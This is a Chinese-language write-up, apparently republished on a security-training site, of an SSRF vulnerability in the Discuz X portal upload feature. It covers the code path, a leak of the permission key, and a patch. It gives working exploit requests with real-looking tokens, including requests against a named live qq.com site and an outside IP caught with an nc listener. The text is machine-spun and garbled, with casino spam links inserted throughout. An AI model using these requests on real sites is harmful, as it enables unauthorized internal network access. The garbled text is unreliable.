天创培训:您身旁的信息安全培训专家!
栏目列表
资料下载金沙集团
澳门金莎娱乐官网
开班方案
2019年1月CISP培训开班告诉
主讲教师   张教师、王教师等
开课工夫   2019年1月8日-13日
培训方法   实地/面授
讲课天次   培训5天+测验半天
上课工夫   09:00 -- 16:30
课程引见 在线报名
手艺中心您当前位置: > 资本专区 > 手艺中心

Discuz X系列流派文章功用SSRF破绽发掘与阐发

作者:天创培训  滥觞:px.tcnet.com.cn  更新工夫:2016-09-12  关键词:破绽

原因&破绽点

在看ImageMagick影响DZ这条线,排查上传点时发明的有成绩逻辑

简朴说就是:

1.正则并没对content参数包罗的url部分内容做限定,

2.DZ图片后缀查抄函数可用aaa.php#b.jpg绕过

3.DZ图片内容查抄函数限定了非图片文件恳求的SSRF操纵后的回显

网络安全

前提阐发

source\include\portalcp\portalcp_upload.php

Line 19:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

if($aid) {

         //今朝只能走aid存在的逻辑,缘故原由上面已注释

         $article = C::t('portal_article_title')->fetch($aid);

         if(!$article) {

                   portal_upload_error(lang('portalcp', 'article_noexist'));

         }

         if(check_articleperm($catid, $aid, $article, false, true) !== true) {

                   portal_upload_error(lang('portalcp', 'article_noallowed'));

         }

} else {

         if(($return = check_articleperm($catid, $aid, null, false, true)) !== true) {

                   portal_upload_error(lang('portalcp', $return));

         }

}

source\function\function_portalcp.php

//此函数用于判定能否具有操纵文章的权限,因为前两个条件在数据库里初始化,普通用户无法绕过。

//以是这里次要存眷modauthkey这个函数的算法能否可猜测

1

2

3

4

function check_articleperm(

         if($_G['group']['allowmanagearticle'] || (empty($aid) && $_G['group']['allowpostarticle']) || $_GET['modarticlekey'] == modauthkey($aid)) {

                   return true;

         }


source\function\function_core.php

//天生算法里有个authkey,值是Discuz安装时随机天生的

//因而换个思绪去看,能否有挪用此函数且保守到页面里的逻辑

1

2

3

function modauthkey($id) {

         return md5(getglobal('username').getglobal('uid').getglobal('authkey').substr(TIMESTAMP, 0, -7).$id);

}

定位前台能够输出modauthkey的点

source\module\forum\forum_redirect.php

//这里条件仿佛很简朴,只要'modthreadkey'参数值不为空便可在跳转链接中带上由tid算出的modauthkey

//$tid可控是枢纽

Line 108:

1

2

header("HTTP/1.1 301 Moved Permanently");

dheader("Location: forum.php?mod=viewthread&tid=$tid&page=$page$authoridurl$ordertypeurl".(isset($_GET['modthreadkey']) && ($modthreadkey = modauthkey($tid)) ? "&modthreadkey=$modthreadkey": '')."#pid$pid");

Line 22:

//$ptid, $pid都可由GET参数掌握,枢纽的$tid是由这两个参数查库得来的

//此中前者和$tid联系关系度较高,只要数据库里存在对应id,则$_GET[‘ptid’]==$ptid==$tid

//又由于数据表中自增的id字段是从1开端的,以是前面阐发到portalcp_upload.php查抄逻辑时,只能走$aid存在且不等于0的逻辑

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

if($_GET['goto'] == 'findpost') {

         $post = $thread = array();

         if($ptid) {

                   $thread = get_thread_by_tid($ptid);

         }

         if($pid) {

                   if($thread) {

                            $post = C::t('forum_post')->fetch($thread['posttableid'], $pid);

                   } else {

                            $post = get_post_by_pid($pid);

                   }

                   if($post && empty($thread)) {

                            $thread = get_thread_by_tid($post['tid']);

                   }

         }

         if(empty($thread)) {

                   showmessage('thread_nonexistence');

         } else {

                   $tid = $thread['tid'];

         }

得出操纵前提

ptid==aid且二者必需存在(ptid==帖子id,aid==流派文章id),pid=随便批评id。

即论坛流派揭晓过文章,详细可用以下办法探测:

http://xxx.com/portal.php?mod=view&aid=1

操纵和复现

以最新的Discuz(20151208)为例

筹办和确认

确认流派中存在揭晓过的文章,记载下可用的aid

网络安全

第一步

登陆后,恳求获得modauthkey算出的一个key,用于操纵对应文章:

网络安全

从跳转的链接掏出modthreadkey的参数值:

http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=viewthread&tid=1&page=1&modthreadkey=fce8163c9f310147f91a244a9eb9dc33#pid1

第二步

带上当前formhash,modarticlekey拼上第一步的modthreadkey的值,便可发恳求:

POST:http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=portalcp&ac=upload&aid=1&catid=1&op=downremotefile&formhash=760dc9d6&modarticlekey=fce8163c9f310147f91a244a9eb9dc33&content=%3Cimg%20src=http://internal.zabbix/images/general/zabbix.png%3E

aa=a

金沙集团

图片被下载并上传到Discuz指定的图片途径下:

网络安全

线上站点示例

Baidu:

site:qq.com inurl:"portal.php?mod=view&aid="

奥门金沙88128.cc

1.SSRF恳求图片:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://www.baidu.com/img/bd_logo1.png%3E


 

保留地址:
http://mygd.qq.com/tfs/portal/201605/17/172818qm7rrrnp3mkq5c4r.png

2.      SSRF恳求其他地址:
http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://103.42.13.155/justtest.php%231.png%3E

长途nc监听:

修复计划

暂时修复计划

source/include/portalcp/portalcp_upload.php:

对应修正或新增代码:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

function filter_ssrf($url)

{

         $private_ipList = array(

"127.0.0.0"=>"127.255.255.255",

         "10.0.0.0"=>"10.255.255.255",

         "172.16.0.0"=>"172.31.255.255",

         "192.168.0.0"=>"192.168.255.255"

         );

         $urlInfo = parse_url($url);

         $ip = gethostbyname($urlInfo['host']);

         $iplong = ip2long($ip);

         if (!empty($iplong)){

                   foreach($private_ipList as $startIp=>$endIp){

                            $startLong = ip2long($startIp);

                            $endLong = ip2long($endIp);

                            if ($iplong >= $startLong && $iplong <= $endLong){

                                     echo "filtered";

                                     return false;

                            }

                   }

                   return true;

         }

         else return false;

}

$operation = $_GET['op'] ? $_GET['op'] : '';

……

……

                                     if(!$upload->is_image_ext($attach['ext'])) {

                                               continue;

                                     }

                                     $content = '';

                                     if(preg_match('/^(http:\/\/|\.)/i', $imageurl) && filter_ssrf($imageurl)) {

                                               $content = dfsockopen($imageurl);

                                     } elseif(checkperm('allowdownlocalimg')) {

官方补钉

source/function/function_portalcp.php:

www.js666.com

总结

1.此破绽的操纵需求必然的前提,即论坛管理者在论坛流派揭晓过文章,详细可用以下办法探测:

}

2.下载分离上传的逻辑隐患较多,排查其他范例破绽的时分能够捎带存眷这些逻辑的实现

3.绕过涉及到随机密钥算法的函数查抄,能够全局查找法式能够保守算法返回值的处所动手

破绽处置Time Line

处置工夫         处置详情

2016-05-17 18:06:47        向TSRC陈述了该破绽。

2016-05-17 18:59:01        成绩评价中

2016-05-18 15:22:10        TSRC管理员确认了该破绽

2016-05-19 16:54:04        辅佐TSRC管理员确认了该破绽细节

2016-06-01 10:36:26        Discuz官方公布20160601补钉,修复了此成绩



0

推荐浏览

 |  关于天创 |  课程体系 |  最新动态 |  联络我们 |  网站舆图 |  二维码
版权所有:江苏天创科技有限公司 苏ICP备16028135号-2
姑苏总部地址:江苏省苏州市十梓街327号 电话:0512-65129087 传真:0512-65157410 邮编:215000
南京分公司地址:南京珠江路88号新世界中心A座 电话:025-84533276 传真:025-84533286 邮编:210000
奥门金沙88128.cc